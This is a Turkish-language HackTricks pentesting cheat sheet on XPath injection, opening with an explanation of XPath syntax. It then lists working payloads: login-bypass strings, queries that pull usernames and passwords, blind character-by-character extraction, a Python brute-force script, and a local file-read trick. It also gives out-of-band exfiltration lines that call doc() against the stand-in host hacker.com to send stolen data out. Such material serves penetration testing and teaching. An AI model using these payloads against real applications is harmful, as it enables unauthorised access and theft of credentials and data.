hacktricks/pentesting-web/xpath-injection.md

13 KiB
Raw Permalink Blame History

XPATH injection

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!

Temel Söz Dizimi

XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine dayalı olarak XPath (XML Path Language) sorguları oluşturan uygulamalardan yararlanmak için kullanılır.

Tanımlanan Düğümler

İfadeler, bir XML belgesindeki çeşitli düğümleri seçmek için kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:

  • nodename: "nodename" adındaki tüm düğümler seçilir.
  • /: Seçim kök düğümden yapılır.
  • //: Belgedeki konumlarından bağımsız olarak, mevcut düğümden seçimle eşleşen düğümler seçilir.
  • .: Mevcut düğüm seçilir.
  • ..: Mevcut düğümün üst düğümü seçilir.
  • @: Nitelikler seçilir.

XPath Örnekleri

Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:

  • bookstore: "bookstore" adındaki tüm düğümler seçilir.
  • /bookstore: Kök elemanı bookstore seçilir. Bir elemanın mutlak yolunun bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
  • bookstore/book: bookstore'un çocukları olan tüm book elemanları seçilir.
  • //book: Belgedeki tüm book elemanları, konumlarından bağımsız olarak seçilir.
  • bookstore//book: bookstore elemanının altındaki tüm book elemanları, bookstore elemanının altındaki konumlarından bağımsız olarak seçilir.
  • //@lang: lang adındaki tüm nitelikler seçilir.

Koşulların Kullanımı

Seçimleri daraltmak için koşullar kullanılır:

  • /bookstore/book[1]: bookstore elemanının ilk book elemanı çocuğu seçilir. IE 5'ten 9'a kadar olan sürümler için ilk düğümü [0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
  • /bookstore/book[last()]: bookstore elemanının son book elemanı çocuğu seçilir.
  • /bookstore/book[last()-1]: bookstore elemanının sondan bir önceki book elemanı çocuğu seçilir.
  • /bookstore/book[position()<3]: bookstore elemanının ilk iki book elemanı çocuğu seçilir.
  • //title[@lang]: lang niteliğine sahip tüm title elemanları seçilir.
  • //title[@lang='en']: "lang" niteliği değeri "en" olan tüm title elemanları seçilir.
  • /bookstore/book[price>35.00]: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book elemanları seçilir.
  • /bookstore/book[price>35.00]/title: Fiyatı 35.00'dan büyük olan bookstore'daki book elemanlarının tüm title elemanları seçilir.

Bilinmeyen Düğümlerin İşlenmesi

Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:

  • *: Herhangi bir eleman düğümünü eşleştirir.
  • @*: Herhangi bir nitelik düğümünü eşleştirir.
  • node(): Herhangi bir türdeki düğümü eşleştirir.

Diğer örnekler şunlardır:

  • /bookstore/*: bookstore elemanının tüm çocuk eleman düğümlerini seçer.
  • //*: Belgedeki tüm elemanları seçer.
  • //title[@*]: En az bir niteliği olan tüm title elemanlarını seçer.

Örnek

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Bilgilere Erişim

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Şemayı Tanımlama ve Çalma

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Kimlik Doğrulama Atlatma

Sorguların Örneği:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Kullanıcı ve şifrede OR atlatma (her ikisinde de aynı değer)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Null enjeksiyonunu kötüye kullanma

Username: ' or 1]%00

Kullanıcı Adında veya Şifrede Çift OR (sadece 1 savunmasız alan ile geçerlidir)

ÖNEMLİ: "ve" ilk yapılan işlemdir.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Dize çıkarımı

Çıktı, dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Bir değerin uzunluğunu al ve karşılaştırmalarla çıkar:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Örneği

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Dosya oku

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Sömürüsü

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Otomatik araç

Referanslar

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün en iyi hackerlarla işbirliği yapmak için Discord 'a katılın!

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}